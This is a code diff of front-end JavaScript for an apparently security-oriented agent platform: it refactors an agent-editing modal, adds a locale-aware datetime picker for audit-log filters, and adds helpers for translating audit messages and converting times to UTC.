markdownAgentsEditingIsOrchestrator = false;
|
||||||
if (title) title.textContent = _agentsT('agentsPage.editTitle');
|
if (title) title.textContent = _agentsT('agentsPage.editTitle');
|
||||||
if (row) row.style.display = 'none';
|
if (row) row.style.display = 'none';
|
||||||
|
document.getElementById('agent-md-instruction').value = '';
|
||||||
|
openAppModal('agent-md-modal', { focus: false });
|
||||||
try {
|
try {
|
||||||
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
|
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
|
||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
if (!r.ok) throw new Error(data.error || r.statusText);
|
if (!r.ok) throw new Error(data.error || r.statusText);
|
||||||
markdownAgentsEditingFilename = data.filename || filename;
|
markdownAgentsEditingFilename = data.filename || filename;
|
||||||
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
|
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
|
||||||
document.getElementById('agent-md-filename-current').value = data.filename || filename;
|
deferModalContent(function () {
|
||||||
document.getElementById('agent-md-filename').value = data.filename || filename;
|
document.getElementById('agent-md-filename-current').value = data.filename || filename;
|
||||||
document.getElementById('agent-md-filename').disabled = true;
|
document.getElementById('agent-md-filename').value = data.filename || filename;
|
||||||
var roleEl2 = document.getElementById('agent-md-role');
|
document.getElementById('agent-md-filename').disabled = true;
|
||||||
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
|
var roleEl2 = document.getElementById('agent-md-role');
|
||||||
document.getElementById('agent-md-id').value = data.id || '';
|
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
|
||||||
document.getElementById('agent-md-name').value = data.name || '';
|
document.getElementById('agent-md-id').value = data.id || '';
|
||||||
document.getElementById('agent-md-description').value = data.description || '';
|
document.getElementById('agent-md-name').value = data.name || '';
|
||||||
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
|
document.getElementById('agent-md-description').value = data.description || '';
|
||||||
document.getElementById('agent-md-bind-role').value = data.bind_role || '';
|
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
|
||||||
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
|
document.getElementById('agent-md-bind-role').value = data.bind_role || '';
|
||||||
document.getElementById('agent-md-instruction').value = data.instruction || '';
|
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
|
||||||
if (modal) modal.style.display = 'flex';
|
document.getElementById('agent-md-instruction').value = data.instruction || '';
|
||||||
|
document.getElementById('agent-md-name')?.focus();
|
||||||
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
closeMarkdownAgentModal();
|
||||||
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
|
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeMarkdownAgentModal() {
|
function closeMarkdownAgentModal() {
|
||||||
const modal = document.getElementById('agent-md-modal');
|
closeAppModal('agent-md-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
markdownAgentsEditingFilename = null;
|
markdownAgentsEditingFilename = null;
|
||||||
markdownAgentsEditingIsOrchestrator = false;
|
markdownAgentsEditingIsOrchestrator = false;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,428 @@
|
|||||||
|
/**
|
||||||
|
* Audit log datetime picker — cross-browser, locale-aware (SLS-style calendar + time columns).
|
||||||
|
*/
|
||||||
|
(function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
var registry = {};
|
||||||
|
var popover = null;
|
||||||
|
var activeFieldId = null;
|
||||||
|
var draft = null;
|
||||||
|
var viewYear = 0;
|
||||||
|
var viewMonth = 0;
|
||||||
|
|
||||||
|
function pad2(n) {
|
||||||
|
return String(n).padStart(2, '0');
|
||||||
|
}
|
||||||
|
|
||||||
|
function pickerLocale() {
|
||||||
|
if (typeof auditLocale === 'function') return auditLocale();
|
||||||
|
if (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) return 'zh-CN';
|
||||||
|
return 'en-US';
|
||||||
|
}
|
||||||
|
|
||||||
|
function pickerT(key, fallback) {
|
||||||
|
if (typeof auditT === 'function') return auditT(key, null, fallback);
|
||||||
|
if (typeof t === 'function') {
|
||||||
|
var v = t(key);
|
||||||
|
if (v && v !== key) return v;
|
||||||
|
}
|
||||||
|
return fallback;
|
||||||
|
}
|
||||||
|
|
||||||
|
function partsToStorage(p) {
|
||||||
|
if (!p) return '';
|
||||||
|
return p.y + '-' + pad2(p.m) + '-' + pad2(p.d) + 'T' + pad2(p.h) + ':' + pad2(p.mi);
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseStorage(value) {
|
||||||
|
if (!value) return null;
|
||||||
|
var m = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})/.exec(String(value).trim());
|
||||||
|
if (!m) return null;
|
||||||
|
return { y: +m[1], m: +m[2], d: +m[3], h: +m[4], mi: +m[5] };
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatDisplay(parts) {
|
||||||
|
if (!parts) return '';
|
||||||
|
var loc = pickerLocale();
|
||||||
|
try {
|
||||||
|
var d = new Date(parts.y, parts.m - 1, parts.d, parts.h, parts.mi, 0, 0);
|
||||||
|
return d.toLocaleString(loc, {
|
||||||
|
year: 'numeric',
|
||||||
|
month: '2-digit',
|
||||||
|
day: '2-digit',
|
||||||
|
hour: '2-digit',
|
||||||
|
minute: '2-digit',
|
||||||
|
hour12: false
|
||||||
|
});
|
||||||
|
} catch (_) {
|
||||||
|
return partsToStorage(parts).replace('T', ' ');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function nowParts() {
|
||||||
|
var n = new Date();
|
||||||
|
return { y: n.getFullYear(), m: n.getMonth() + 1, d: n.getDate(), h: n.getHours(), mi: n.getMinutes() };
|
||||||
|
}
|
||||||
|
|
||||||
|
function startOfTodayParts() {
|
||||||
|
var n = new Date();
|
||||||
|
return { y: n.getFullYear(), m: n.getMonth() + 1, d: n.getDate(), h: 0, mi: 0 };
|
||||||
|
}
|
||||||
|
|
||||||
|
function monthTitle(year, month) {
|
||||||
|
var loc = pickerLocale();
|
||||||
|
if (loc.startsWith('zh')) {
|
||||||
|
return year + '\u5e74' + pad2(month) + '\u6708';
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return new Date(year, month - 1, 1).toLocaleString(loc, { month: 'long', year: 'numeric' });
|
||||||
|
} catch (_) {
|
||||||
|
return year + '-' + pad2(month);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function weekdayHeaders() {
|
||||||
|
var loc = pickerLocale();
|
||||||
|
if (loc.startsWith('zh')) {
|
||||||
|
return ['\u65e5', '\u4e00', '\u4e8c', '\u4e09', '\u56db', '\u4e94', '\u516d'];
|
||||||
|
}
|
||||||
|
return ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'];
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildMonthGrid(year, month) {
|
||||||
|
var first = new Date(year, month - 1, 1);
|
||||||
|
var start = new Date(first);
|
||||||
|
start.setDate(first.getDate() - first.getDay());
|
||||||
|
var cells = [];
|
||||||
|
var cursor = new Date(start);
|
||||||
|
for (var i = 0; i < 42; i++) {
|
||||||
|
cells.push({
|
||||||
|
y: cursor.getFullYear(),
|
||||||
|
m: cursor.getMonth() + 1,
|
||||||
|
d: cursor.getDate(),
|
||||||
|
inMonth: cursor.getMonth() === month - 1
|
||||||
|
});
|
||||||
|
cursor.setDate(cursor.getDate() + 1);
|
||||||
|
}
|
||||||
|
return cells;
|
||||||
|
}
|
||||||
|
|
||||||
|
function ensurePopover() {
|
||||||
|
if (popover) return popover;
|
||||||
|
popover = document.createElement('div');
|
||||||
|
popover.className = 'audit-dt-popover';
|
||||||
|
popover.hidden = true;
|
||||||
|
popover.setAttribute('role', 'dialog');
|
||||||
|
popover.innerHTML =
|
||||||
|
'<div class="audit-dt-popover-inner">' +
|
||||||
|
'<div class="audit-dt-head">' +
|
||||||
|
'<button type="button" class="audit-dt-nav" data-nav="prev" aria-label="prev">‹</button>' +
|
||||||
|
'<span class="audit-dt-month-label"></span>' +
|
||||||
|
'<button type="button" class="audit-dt-nav" data-nav="next" aria-label="next">›</button>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="audit-dt-body">' +
|
||||||
|
'<div class="audit-dt-calendar"></div>' +
|
||||||
|
'<div class="audit-dt-time">' +
|
||||||
|
'<div class="audit-dt-time-col" data-part="hour">' +
|
||||||
|
'<span class="audit-dt-time-label audit-dt-hour-label"></span>' +
|
||||||
|
'<div class="audit-dt-time-list"></div>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="audit-dt-time-col" data-part="minute">' +
|
||||||
|
'<span class="audit-dt-time-label audit-dt-minute-label"></span>' +
|
||||||
|
'<div class="audit-dt-time-list"></div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="audit-dt-footer">' +
|
||||||
|
'<button type="button" class="audit-dt-footer-btn" data-action="clear"></button>' +
|
||||||
|
'<button type="button" class="audit-dt-footer-btn" data-action="today"></button>' +
|
||||||
|
'<button type="button" class="audit-dt-footer-btn audit-dt-footer-btn--primary" data-action="confirm"></button>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>';
|
||||||
|
document.body.appendChild(popover);
|
||||||
|
|
||||||
|
popover.addEventListener('click', function (ev) {
|
||||||
|
ev.stopPropagation();
|
||||||
|
var btn = ev.target.closest('[data-nav]');
|
||||||
|
if (btn) {
|
||||||
|
if (btn.getAttribute('data-nav') === 'prev') {
|
||||||
|
viewMonth -= 1;
|
||||||
|
if (viewMonth < 1) { viewMonth = 12; viewYear -= 1; }
|
||||||
|
} else {
|
||||||
|
viewMonth += 1;
|
||||||
|
if (viewMonth > 12) { viewMonth = 1; viewYear += 1; }
|
||||||
|
}
|
||||||
|
renderPopover();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var dayBtn = ev.target.closest('[data-day]');
|
||||||
|
if (dayBtn && draft) {
|
||||||
|
draft.y = +dayBtn.getAttribute('data-y');
|
||||||
|
draft.m = +dayBtn.getAttribute('data-m');
|
||||||
|
draft.d = +dayBtn.getAttribute('data-d');
|
||||||
|
if (draft.y !== viewYear || draft.m !== viewMonth) {
|
||||||
|
viewYear = draft.y;
|
||||||
|
viewMonth = draft.m;
|
||||||
|
renderCalendar();
|
||||||
|
} else {
|
||||||
|
updateDaySelection();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var timeBtn = ev.target.closest('[data-time]');
|
||||||
|
if (timeBtn && draft) {
|
||||||
|
var part = timeBtn.getAttribute('data-part');
|
||||||
|
var val = +timeBtn.getAttribute('data-time');
|
||||||
|
if (part === 'hour') draft.h = val;
|
||||||
|
if (part === 'minute') draft.mi = val;
|
||||||
|
updateTimeSelection();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var actionBtn = ev.target.closest('[data-action]');
|
||||||
|
if (!actionBtn) return;
|
||||||
|
var action = actionBtn.getAttribute('data-action');
|
||||||
|
if (action === 'clear') {
|
||||||
|
applyValue(activeFieldId, '');
|
||||||
|
closePopover();
|
||||||
|
} else if (action === 'today') {
|
||||||
|
if (draft) {
|
||||||
|
var t = nowParts();
|
||||||
|
draft.y = t.y; draft.m = t.m; draft.d = t.d;
|
||||||
|
viewYear = t.y; viewMonth = t.m;
|
||||||
|
}
|
||||||
|
renderPopover();
|
||||||
|
} else if (action === 'confirm') {
|
||||||
|
applyValue(activeFieldId, partsToStorage(draft));
|
||||||
|
closePopover();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
document.addEventListener('click', onDocumentClick);
|
||||||
|
document.addEventListener('keydown', onDocumentKeydown);
|
||||||
|
document.addEventListener('languagechange', function () {
|
||||||
|
if (!popover.hidden) renderPopover();
|
||||||
|
refreshAllDisplays();
|
||||||
|
});
|
||||||
|
|
||||||
|
return popover;
|
||||||
|
}
|
||||||
|
|
||||||
|
function onDocumentClick(ev) {
|
||||||
|
if (!popover || popover.hidden) return;
|
||||||
|
if (popover.contains(ev.target)) return;
|
||||||
|
if (activeFieldId && registry[activeFieldId] && registry[activeFieldId].wrap.contains(ev.target)) return;
|
||||||
|
closePopover();
|
||||||
|
}
|
||||||
|
|
||||||
|
function onDocumentKeydown(ev) {
|
||||||
|
if (ev.key === 'Escape' && popover && !popover.hidden) {
|
||||||
|
closePopover();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function positionPopover(fieldWrap) {
|
||||||
|
var rect = fieldWrap.getBoundingClientRect();
|
||||||
|
var width = 320;
|
||||||
|
popover.style.width = width + 'px';
|
||||||
|
var left = rect.left;
|
||||||
|
if (left + width > window.innerWidth - 12) {
|
||||||
|
left = Math.max(12, window.innerWidth - width - 12);
|
||||||
|
}
|
||||||
|
popover.style.left = left + 'px';
|
||||||
|
var top = rect.bottom + 6;
|
||||||
|
if (top + 340 > window.innerHeight - 12) {
|
||||||
|
top = Math.max(12, rect.top - 340 - 6);
|
||||||
|
}
|
||||||
|
popover.style.top = top + 'px';
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderCalendar() {
|
||||||
|
if (!popover || !draft) return;
|
||||||
|
popover.querySelector('.audit-dt-month-label').textContent = monthTitle(viewYear, viewMonth);
|
||||||
|
var cal = popover.querySelector('.audit-dt-calendar');
|
||||||
|
var headers = weekdayHeaders();
|
||||||
|
var html = '<div class="audit-dt-weekdays">';
|
||||||
|
headers.forEach(function (h) { html += '<span>' + h + '</span>'; });
|
||||||
|
html += '</div><div class="audit-dt-days">';
|
||||||
|
buildMonthGrid(viewYear, viewMonth).forEach(function (cell) {
|
||||||
|
var cls = 'audit-dt-day';
|
||||||
|
if (!cell.inMonth) cls += ' is-other-month';
|
||||||
|
if (draft && cell.y === draft.y && cell.m === draft.m && cell.d === draft.d) cls += ' is-selected';
|
||||||
|
html += '<button type="button" class="' + cls + '" data-day="1" data-y="' + cell.y +
|
||||||
|
'" data-m="' + cell.m + '" data-d="' + cell.d + '">' + cell.d + '</button>';
|
||||||
|
});
|
||||||
|
html += '</div>';
|
||||||
|
cal.innerHTML = html;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderTimeLists() {
|
||||||
|
if (!popover || !draft) return;
|
||||||
|
var hourList = popover.querySelector('[data-part="hour"] .audit-dt-time-list');
|
||||||
|
var minuteList = popover.querySelector('[data-part="minute"] .audit-dt-time-list');
|
||||||
|
var hourHtml = '';
|
||||||
|
var minuteHtml = '';
|
||||||
|
var h;
|
||||||
|
for (h = 0; h < 24; h++) {
|
||||||
|
hourHtml += '<button type="button" class="audit-dt-time-item' + (draft && draft.h === h ? ' is-selected' : '') +
|
||||||
|
'" data-part="hour" data-time="' + h + '">' + pad2(h) + '</button>';
|
||||||
|
}
|
||||||
|
for (h = 0; h < 60; h++) {
|
||||||
|
minuteHtml += '<button type="button" class="audit-dt-time-item' + (draft && draft.mi === h ? ' is-selected' : '') +
|
||||||
|
'" data-part="minute" data-time="' + h + '">' + pad2(h) + '</button>';
|
||||||
|
}
|
||||||
|
hourList.innerHTML = hourHtml;
|
||||||
|
minuteList.innerHTML = minuteHtml;
|
||||||
|
scrollTimeSelection(hourList, draft.h);
|
||||||
|
scrollTimeSelection(minuteList, draft.mi);
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateDaySelection() {
|
||||||
|
if (!popover || !draft) return;
|
||||||
|
popover.querySelectorAll('.audit-dt-day').forEach(function (btn) {
|
||||||
|
var selected = +btn.getAttribute('data-y') === draft.y &&
|
||||||
|
+btn.getAttribute('data-m') === draft.m &&
|
||||||
|
+btn.getAttribute('data-d') === draft.d;
|
||||||
|
btn.classList.toggle('is-selected', selected);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateTimeSelection() {
|
||||||
|
if (!popover || !draft) return;
|
||||||
|
var hourList = popover.querySelector('[data-part="hour"] .audit-dt-time-list');
|
||||||
|
var minuteList = popover.querySelector('[data-part="minute"] .audit-dt-time-list');
|
||||||
|
if (!hourList || !minuteList || !hourList.children.length) {
|
||||||
|
renderTimeLists();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
hourList.querySelectorAll('.audit-dt-time-item').forEach(function (btn) {
|
||||||
|
btn.classList.toggle('is-selected', +btn.getAttribute('data-time') === draft.h);
|
||||||
|
});
|
||||||
|
minuteList.querySelectorAll('.audit-dt-time-item').forEach(function (btn) {
|
||||||
|
btn.classList.toggle('is-selected', +btn.getAttribute('data-time') === draft.mi);
|
||||||
|
});
|
||||||
|
scrollTimeSelection(hourList, draft.h);
|
||||||
|
scrollTimeSelection(minuteList, draft.mi);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderPopover() {
|
||||||
|
if (!popover || !draft) return;
|
||||||
|
popover.querySelector('.audit-dt-hour-label').textContent = pickerT('settingsAudit.pickerHour', 'Hour');
|
||||||
|
popover.querySelector('.audit-dt-minute-label').textContent = pickerT('settingsAudit.pickerMinute', 'Min');
|
||||||
|
popover.querySelector('[data-action="clear"]').textContent = pickerT('settingsAudit.pickerClear', 'Clear');
|
||||||
|
popover.querySelector('[data-action="today"]').textContent = pickerT('settingsAudit.pickerToday', 'Today');
|
||||||
|
popover.querySelector('[data-action="confirm"]').textContent = pickerT('settingsAudit.pickerConfirm', 'OK');
|
||||||
|
renderCalendar();
|
||||||
|
renderTimeLists();
|
||||||
|
}
|
||||||
|
|
||||||
|
function scrollTimeSelection(listEl, value) {
|
||||||
|
var sel = listEl.querySelector('.is-selected');
|
||||||
|
if (sel && sel.scrollIntoView) {
|
||||||
|
sel.scrollIntoView({ block: 'center' });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function openPopover(fieldId) {
|
||||||
|
ensurePopover();
|
||||||
|
var entry = registry[fieldId];
|
||||||
|
if (!entry) return;
|
||||||
|
activeFieldId = fieldId;
|
||||||
|
var stored = entry.wrap.dataset.value || '';
|
||||||
|
draft = parseStorage(stored) || nowParts();
|
||||||
|
viewYear = draft.y;
|
||||||
|
viewMonth = draft.m;
|
||||||
|
renderPopover();
|
||||||
|
positionPopover(entry.wrap);
|
||||||
|
popover.hidden = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function closePopover() {
|
||||||
|
if (!popover) return;
|
||||||
|
popover.hidden = true;
|
||||||
|
activeFieldId = null;
|
||||||
|
draft = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function refreshDisplay(fieldId) {
|
||||||
|
var entry = registry[fieldId];
|
||||||
|
if (!entry) return;
|
||||||
|
var parts = parseStorage(entry.wrap.dataset.value || '');
|
||||||
|
entry.input.value = parts ? formatDisplay(parts) : '';
|
||||||
|
entry.input.placeholder = pickerT('settingsAudit.datetimePlaceholder', 'Select date & time');
|
||||||
|
entry.clearBtn.hidden = !parts;
|
||||||
|
}
|
||||||
|
|
||||||
|
function refreshAllDisplays() {
|
||||||
|
Object.keys(registry).forEach(refreshDisplay);
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyValue(fieldId, storageValue) {
|
||||||
|
var entry = registry[fieldId];
|
||||||
|
if (!entry) return;
|
||||||
|
entry.wrap.dataset.value = storageValue || '';
|
||||||
|
refreshDisplay(fieldId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function bindField(fieldId) {
|
||||||
|
var wrap = document.getElementById(fieldId);
|
||||||
|
if (!wrap || wrap.dataset.auditDtBound === '1') return;
|
||||||
|
var input = wrap.querySelector('.audit-datetime-input');
|
||||||
|
var openBtn = wrap.querySelector('.audit-datetime-open-btn');
|
||||||
|
var clearBtn = wrap.querySelector('.audit-datetime-clear-btn');
|
||||||
|
if (!input || !openBtn || !clearBtn) return;
|
||||||
|
|
||||||
|
wrap.dataset.auditDtBound = '1';
|
||||||
|
registry[fieldId] = { wrap: wrap, input: input, clearBtn: clearBtn };
|
||||||
|
|
||||||
|
openBtn.addEventListener('click', function (ev) {
|
||||||
|
ev.preventDefault();
|
||||||
|
ev.stopPropagation();
|
||||||
|
if (!popover || popover.hidden || activeFieldId !== fieldId) {
|
||||||
|
openPopover(fieldId);
|
||||||
|
} else {
|
||||||
|
closePopover();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
input.addEventListener('click', function (ev) {
|
||||||
|
ev.stopPropagation();
|
||||||
|
openPopover(fieldId);
|
||||||
|
});
|
||||||
|
clearBtn.addEventListener('click', function (ev) {
|
||||||
|
ev.preventDefault();
|
||||||
|
ev.stopPropagation();
|
||||||
|
applyValue(fieldId, '');
|
||||||
|
});
|
||||||
|
refreshDisplay(fieldId);
|
||||||
|
}
|
||||||
|
|
||||||
|
window.AuditDatetimePicker = {
|
||||||
|
init: function () {
|
||||||
|
bindField('audit-filter-since-field');
|
||||||
|
bindField('audit-filter-until-field');
|
||||||
|
refreshAllDisplays();
|
||||||
|
},
|
||||||
|
getValue: function (inputId) {
|
||||||
|
var fieldId = inputId === 'audit-filter-since' ? 'audit-filter-since-field' : 'audit-filter-until-field';
|
||||||
|
var entry = registry[fieldId];
|
||||||
|
return entry ? (entry.wrap.dataset.value || '') : '';
|
||||||
|
},
|
||||||
|
setValue: function (inputId, dateObj) {
|
||||||
|
if (!dateObj || Number.isNaN(dateObj.getTime())) return;
|
||||||
|
var fieldId = inputId === 'audit-filter-since' ? 'audit-filter-since-field' : 'audit-filter-until-field';
|
||||||
|
var p = {
|
||||||
|
y: dateObj.getFullYear(),
|
||||||
|
m: dateObj.getMonth() + 1,
|
||||||
|
d: dateObj.getDate(),
|
||||||
|
h: dateObj.getHours(),
|
||||||
|
mi: dateObj.getMinutes()
|
||||||
|
};
|
||||||
|
applyValue(fieldId, partsToStorage(p));
|
||||||
|
},
|
||||||
|
clearAll: function () {
|
||||||
|
applyValue('audit-filter-since-field', '');
|
||||||
|
applyValue('audit-filter-until-field', '');
|
||||||
|
closePopover();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
})();
|
||||||
+388
-87
@@ -4,6 +4,7 @@
|
|||||||
let auditLogsPage = 1;
|
let auditLogsPage = 1;
|
||||||
let auditLogsPageSize = 20;
|
let auditLogsPageSize = 20;
|
||||||
let auditLogsTotal = 0;
|
let auditLogsTotal = 0;
|
||||||
|
let auditLogsCache = [];
|
||||||
|
|
||||||
const AUDIT_PAGE_SIZE_KEY = 'cyberstrike_audit_page_size';
|
const AUDIT_PAGE_SIZE_KEY = 'cyberstrike_audit_page_size';
|
||||||
|
|
||||||
@@ -52,24 +53,113 @@ function auditActionLabel(action) {
|
|||||||
return auditT('settingsAudit.act.' + action, null, action);
|
return auditT('settingsAudit.act.' + action, null, action);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Stored DB messages that share category+action but need distinct i18n keys. */
|
||||||
|
const AUDIT_MSG_BY_STORED_TEXT = {
|
||||||
|
'登录失败:密码错误': 'settingsAudit.msg.auth.login_failed',
|
||||||
|
'修改密码失败:当前密码不正确': 'settingsAudit.msg.auth.change_password_failed',
|
||||||
|
'应用配置失败:初始化知识库': 'settingsAudit.msg.config.apply_fail_kb_init',
|
||||||
|
'应用配置失败:重新初始化知识库': 'settingsAudit.msg.config.apply_fail_kb_reinit',
|
||||||
|
'应用配置失败:C2': 'settingsAudit.msg.config.apply_fail_c2'
|
||||||
|
};
|
||||||
|
|
||||||
|
function auditMessageLabel(log) {
|
||||||
|
if (!log) return '';
|
||||||
|
const raw = (log.message || '').trim();
|
||||||
|
if (raw && AUDIT_MSG_BY_STORED_TEXT[raw]) {
|
||||||
|
return auditT(AUDIT_MSG_BY_STORED_TEXT[raw], null, raw);
|
||||||
|
}
|
||||||
|
const cat = (log.category || '').trim();
|
||||||
|
const act = (log.action || '').trim();
|
||||||
|
const res = (log.result || '').trim();
|
||||||
|
if (cat && act) {
|
||||||
|
if (cat === 'auth' && act === 'login' && res === 'failure') {
|
||||||
|
return auditT('settingsAudit.msg.auth.login_failed', null, raw);
|
||||||
|
}
|
||||||
|
if (cat === 'auth' && act === 'change_password' && res === 'failure') {
|
||||||
|
return auditT('settingsAudit.msg.auth.change_password_failed', null, raw);
|
||||||
|
}
|
||||||
|
const key = 'settingsAudit.msg.' + cat + '.' + act;
|
||||||
|
const translated = auditT(key, null, null);
|
||||||
|
if (translated && translated !== key) return translated;
|
||||||
|
}
|
||||||
|
return raw;
|
||||||
|
}
|
||||||
|
|
||||||
|
function auditResultLabel(result) {
|
||||||
|
if (!result) return '';
|
||||||
|
return auditT('settingsAudit.result.' + result, null, result);
|
||||||
|
}
|
||||||
|
|
||||||
|
function auditLocale() {
|
||||||
|
if (typeof window.__locale === 'string' && window.__locale.length) {
|
||||||
|
return window.__locale.startsWith('zh') ? 'zh-CN' : 'en-US';
|
||||||
|
}
|
||||||
|
return (typeof navigator !== 'undefined' && navigator.language) ? navigator.language : 'en-US';
|
||||||
|
}
|
||||||
|
|
||||||
|
function auditTimezoneShortLabel() {
|
||||||
|
try {
|
||||||
|
const parts = new Intl.DateTimeFormat(auditLocale(), { timeZoneName: 'short' }).formatToParts(new Date());
|
||||||
|
const tz = parts.find(function (p) { return p.type === 'timeZoneName'; });
|
||||||
|
return tz ? tz.value : '';
|
||||||
|
} catch (_) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function formatAuditTime(iso) {
|
function formatAuditTime(iso) {
|
||||||
if (!iso) return '';
|
if (!iso) return '';
|
||||||
try {
|
try {
|
||||||
const d = new Date(iso);
|
const d = new Date(iso);
|
||||||
if (Number.isNaN(d.getTime())) return iso;
|
if (Number.isNaN(d.getTime())) return iso;
|
||||||
return d.toLocaleString();
|
return d.toLocaleString(auditLocale(), {
|
||||||
|
year: 'numeric',
|
||||||
|
month: '2-digit',
|
||||||
|
day: '2-digit',
|
||||||
|
hour: '2-digit',
|
||||||
|
minute: '2-digit',
|
||||||
|
second: '2-digit',
|
||||||
|
hour12: false,
|
||||||
|
timeZoneName: 'short'
|
||||||
|
});
|
||||||
} catch (_) {
|
} catch (_) {
|
||||||
return iso;
|
return iso;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Read stored local datetime (YYYY-MM-DDTHH:mm) from custom picker or raw input. */
|
||||||
|
function getAuditFilterDatetimeValue(inputId) {
|
||||||
|
if (typeof window.AuditDatetimePicker !== 'undefined' && typeof window.AuditDatetimePicker.getValue === 'function') {
|
||||||
|
return window.AuditDatetimePicker.getValue(inputId) || '';
|
||||||
|
}
|
||||||
|
var el = document.getElementById(inputId);
|
||||||
|
return el ? (el.value || '') : '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** datetime-local / picker storage -> UTC RFC3339 for API. */
|
||||||
function auditDatetimeLocalToRFC3339(value) {
|
function auditDatetimeLocalToRFC3339(value) {
|
||||||
if (!value || !value.trim()) return '';
|
if (!value || !value.trim()) return '';
|
||||||
const d = new Date(value);
|
const m = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})/.exec(value.trim());
|
||||||
|
if (!m) return '';
|
||||||
|
const d = new Date(+m[1], +m[2] - 1, +m[3], +m[4], +m[5], 0, 0);
|
||||||
if (Number.isNaN(d.getTime())) return '';
|
if (Number.isNaN(d.getTime())) return '';
|
||||||
return d.toISOString();
|
return d.toISOString();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function updateAuditTimezoneHint() {
|
||||||
|
const el = document.getElementById('audit-filter-timezone-hint');
|
||||||
|
if (!el) return;
|
||||||
|
const tz = auditTimezoneShortLabel();
|
||||||
|
if (!tz) {
|
||||||
|
el.hidden = true;
|
||||||
|
el.textContent = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
el.hidden = false;
|
||||||
|
el.textContent = auditT('settingsAudit.filterTimeZone', { tz: tz },
|
||||||
|
'时区:' + tz + '(筛选按浏览器本地时间,API 使用 UTC)');
|
||||||
|
}
|
||||||
|
|
||||||
function initAuditPageSizeFromStorage() {
|
function initAuditPageSizeFromStorage() {
|
||||||
try {
|
try {
|
||||||
const saved = parseInt(localStorage.getItem(AUDIT_PAGE_SIZE_KEY), 10);
|
const saved = parseInt(localStorage.getItem(AUDIT_PAGE_SIZE_KEY), 10);
|
||||||
@@ -113,6 +203,7 @@ function rebuildAuditActionSelect() {
|
|||||||
actEl.disabled = true;
|
actEl.disabled = true;
|
||||||
actEl.value = '';
|
actEl.value = '';
|
||||||
actEl.title = hint;
|
actEl.title = hint;
|
||||||
|
syncAuditCustomSelect('audit-filter-action');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -129,6 +220,7 @@ function rebuildAuditActionSelect() {
|
|||||||
if (prev && Array.prototype.some.call(actEl.options, function (o) { return o.value === prev; })) {
|
if (prev && Array.prototype.some.call(actEl.options, function (o) { return o.value === prev; })) {
|
||||||
actEl.value = prev;
|
actEl.value = prev;
|
||||||
}
|
}
|
||||||
|
syncAuditCustomSelect('audit-filter-action');
|
||||||
}
|
}
|
||||||
|
|
||||||
function onAuditCategoryFilterChange() {
|
function onAuditCategoryFilterChange() {
|
||||||
@@ -145,43 +237,17 @@ function buildAuditQueryParams(forExport) {
|
|||||||
const act = document.getElementById('audit-filter-action');
|
const act = document.getElementById('audit-filter-action');
|
||||||
const res = document.getElementById('audit-filter-result');
|
const res = document.getElementById('audit-filter-result');
|
||||||
const q = document.getElementById('audit-filter-q');
|
